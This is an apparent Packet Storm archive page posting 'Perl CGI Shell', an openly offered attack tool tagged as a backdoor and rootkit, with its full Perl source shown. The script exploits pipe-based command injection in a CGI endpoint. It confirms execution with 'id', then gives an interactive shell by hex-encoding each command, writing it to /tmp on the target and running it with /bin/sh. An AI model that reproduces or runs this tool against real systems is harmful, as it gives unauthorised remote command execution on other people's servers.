what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Perl CGI Shell

Perl CGI Shell
Posted Oct 15, 2011
Authored by Marshall Whittaker

This is a Perl CGI backdoor that provides shell-like capability.

tags | tool, shell, cgi, perl, rootkit
systems | unix
SHA-256 | 09fc7f09f2300df12f0b671a4184d8050707a0d7248afe5344459a60b8ed9388

Perl CGI Shell

Change Mirror Download
#!/usr/bin/perl

# adaptive cgi shell by oxagast

use LWP::Simple;
$part1 = @ARGV[0]; $part2 = @ARGV[1];
print "Making buffer...\n";
for $bet (100..200) {
$bettwo = $bettwo . "AAAA" . $bet . "AAAA\\\\n";
}
print "Exploiting...\n";
$id = get("$part1\|id\|$part2");
$id =~ m/(uid=\d+\(.*\) gid=\d+\(.*\) groups=\d+\(.*\))/;
print "Well shizzle my nizzle... shell by oxagast... use wisely \;\)\n\n";
$uid = $1;
print "$uid\n";
while (0 == 0) {
print "\$ ";
$cmd = <STDIN>;
chomp($cmd);
if ($cmd =~ m/cd (\/.*)/) {
$dir = $1;
}
if ($cmd eq "cd ..") {
$dir =~ s/(.*)\/.*/\/\1/;
}
if ($cmd eq "pwd") {
$dirjunk = $dir;
if ($dirjunk eq "//") {
$dirjunk = "/";
}
}
$dirjunk = "cd $dir\;$cmd";
$cmdhex = unpack("H*","$dirjunk &>/tmp/cmdlnerr");
$cmdhex =~ s/(..)/\\\\x$1/g;
get("$part1\|echo -e $bettwo > /tmp/buff\|$part2");
$backjunk2 = get("$part1\|cat /tmp/buff\|$part2");
@backjunk = split("\n", $backjunk2);
get("$part1\|echo -e \"$cmdhex\" > /tmp/cmdln\|$part2");
get("$part1\|/bin/sh /tmp/cmdln > /tmp/cmdlerr\|$part2");
$backjunk_as = get("$part1\|cat /tmp/cmdlnerr\|$part2");
@backjunk_split = split("\n", $backjunk_as);
$backjunk_wcl = get("$part1\|wc -l /tmp/cmdlnerr\|$part2");
$backjunk_wcl =~ m/(\d+) \/tmp\/cmdlnerr/m;
$thismanylines = $1 - 1;
for $junknum (0..scalar(@backjunk_split)) {
for $fuzz (10..100+$thismanylines) {
if ($backjunk[$junknum] =~ m/(AAAA\Q$fuzz\EAAAA)/) {
$middle = $1;
@backjunk[$junknum] =~ m/(.*)\Q$middle\E/;
@backjunk_split[$junknum] =~ s/$1//;
@backjunk[$junknum] =~ m/\Q$middle\E(.*)/;
@backjunk_split[$junknum] =~ s/$1//;
print "$backjunk_split[$junknum]\n";
}
}
}
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close